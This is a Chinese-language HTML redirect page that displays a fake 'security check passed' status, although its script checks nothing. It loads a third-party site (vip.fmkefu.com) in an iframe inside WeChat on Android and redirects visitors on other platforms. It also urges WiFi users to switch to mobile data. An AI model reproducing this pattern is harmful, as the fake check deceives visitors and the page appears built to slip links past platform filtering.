<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>内容加载中</title>
    <style>
        * {
            box-sizing: border-box;
            -webkit-tap-highlight-color: transparent;
        }
        html, body {
            width: 100%;
            height: 100%;
            margin: 0;
            padding: 0;
            overflow: hidden;
            background-color: #000;
            touch-action: manipulation;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
        }
        
        .loader-container {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            background: #000;
            z-index: 10;
            transition: opacity 0.3s ease;
        }
        
        .loader {
            width: 50px;
            height: 50px;
            border: 4px solid rgba(255, 255, 255, 0.2);
            border-top: 4px solid #07c160;
            border-radius: 50%;
            animation: spin 1.2s linear infinite;
            margin-bottom: 20px;
        }
        
        .loader-status {
            color: #aaa;
            font-size: 16px;
            text-align: center;
            padding: 0 20px;
            margin-bottom: 15px;
        }
        
        .network-tip {
            font-size: 14px;
            color: #888;
            text-align: center;
            padding: 0 25px;
            line-height: 1.5;
            margin: 10px 0;
            display: none;
        }
        
        .retry-button {
            display: inline-block;
            padding: 10px 25px;
            background: #07c160;
            color: white;
            text-decoration: none;
            border-radius: 6px;
            font-size: 16px;
            font-weight: 500;
            margin-top: 15px;
        }
        
        #contentFrame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            margin: 0;
            padding: 0;
            border: none;
            outline: none;
            background-color: #000;
            overflow: hidden;
            display: none;
            z-index: 5;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        .connection-info {
            position: fixed;
            bottom: 20px;
            left: 0;
            width: 100%;
            text-align: center;
            font-size: 13px;
            color: #666;
            display: none;
        }
    </style>
</head>
<body>
    <!-- 加载动画和提示 -->
    <div class="loader-container" id="loader">
        <div class="loader"></div>
        <div class="loader-status" id="loaderStatus">正在安全检测，请稍等...</div>
        <div class="network-tip" id="wifiTip">
            如长时间无响应，请尝试关闭WiFi<br>
            切换到移动数据并重新进入
        </div>
        <a href="javascript:location.reload()" class="retry-button">重新加载</a>
    </div>
    
    <!-- 连接信息提示 -->
    <div class="connection-info" id="connectionInfo">
        当前网络: 请等待检测...
    </div>
    
    <!-- 内容框架 -->
    <iframe 
        id="contentFrame"
        frameborder="0"
        scrolling="yes"
        sandbox="allow-same-origin allow-scripts"
        allowfullscreen></iframe>

    <script>
        // 检测运行环境
        function detectEnvironment() {
            const ua = navigator.userAgent.toLowerCase();
            return {
                isWeChat: /micromessenger/.test(ua),
                isAndroid: /android/.test(ua),
                isIOS: /iphone|ipad|ipod/.test(ua)
            };
        }
        
        // 获取网络状态
        function getNetworkType() {
            if (navigator.connection && navigator.connection.type) {
                return navigator.connection.type;
            }
            return navigator.onLine ? "在线" : "离线";
        }
        
        // 获取URL参数
        function getQueryParam(name) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(name) || '';
        }
        
        // 显示网络提示
        function showNetworkTip() {
            const loaderStatus = document.getElementById('loaderStatus');
            const wifiTip = document.getElementById('wifiTip');
            const connectionInfo = document.getElementById('connectionInfo');
            
            // 更新提示文本
            loaderStatus.textContent = '安全检测通过，开始加载内容...';
            
            // 根据网络类型显示提示
            const networkType = getNetworkType();
            if (networkType.toLowerCase().includes('wifi') || 
                networkType.toLowerCase().includes('wlan')) {
                wifiTip.style.display = 'block';
                connectionInfo.innerHTML = `当前网络: WiFi | <a href="javascript:location.reload()">刷新</a>`;
            } else {
                connectionInfo.innerHTML = `当前网络: 移动数据 | <a href="javascript:location.reload()">刷新</a>`;
            }
            
            connectionInfo.style.display = 'block';
        }
        
        // 开始加载内容
        function startContentLoad() {
            const env = detectEnvironment();
            const pathParam = getQueryParam('p');
            const targetUrl = `https://vip.fmkefu.com/c/${encodeURIComponent(pathParam)}`;
            
            const frame = document.getElementById('contentFrame');
            const loader = document.getElementById('loader');
            
            // 特别处理安卓微信环境
            if (env.isWeChat && env.isAndroid) {
                try {
                    // 尝试安全的iframe加载
                    frame.src = targetUrl;
                    
                    // 监听加载完成
                    frame.onload = function() {
                        loader.style.opacity = '0';
                        setTimeout(() => {
                            loader.style.display = 'none';
                            frame.style.display = 'block';
                        }, 300);
                    };
                    
                    // 监听加载错误
                    frame.onerror = function() {
                        showNetworkTip();
                        setTimeout(startContentLoad, 2000);
                    };
                    
                    // 设置安全超时处理
                    setTimeout(function() {
                        if (frame.style.display === 'none') {
                            showNetworkTip();
                            setTimeout(startContentLoad, 1500);
                        }
                    }, 5000);
                    
                    return;
                } catch (e) {
                    console.warn('微信安全加载失败', e);
                }
            }
            
            // 其他环境使用标准加载
            window.location.href = targetUrl;
        }
        
        // 初始化函数
        function init() {
            const loaderStatus = document.getElementById('loaderStatus');
            const pathParam = getQueryParam('p');
            
            // 检查路径参数是否有效
            if (!pathParam) {
                loaderStatus.innerHTML = '参数错误: 缺少路径参数<br>请检查URL格式';
                return;
            }
            
            // 启动内容加载
            startContentLoad();
        }
        
        // 页面加载完成后初始化
        document.addEventListener('DOMContentLoaded', function() {
            // 添加网络监听
            window.addEventListener('online', init);
            window.addEventListener('offline', function() {
                document.getElementById('loaderStatus').textContent = '网络连接已断开';
                document.getElementById('connectionInfo').style.display = 'block';
            });
            
            // 延迟启动初始化
            setTimeout(init, 800);
        });
    </script>
</body>
</html>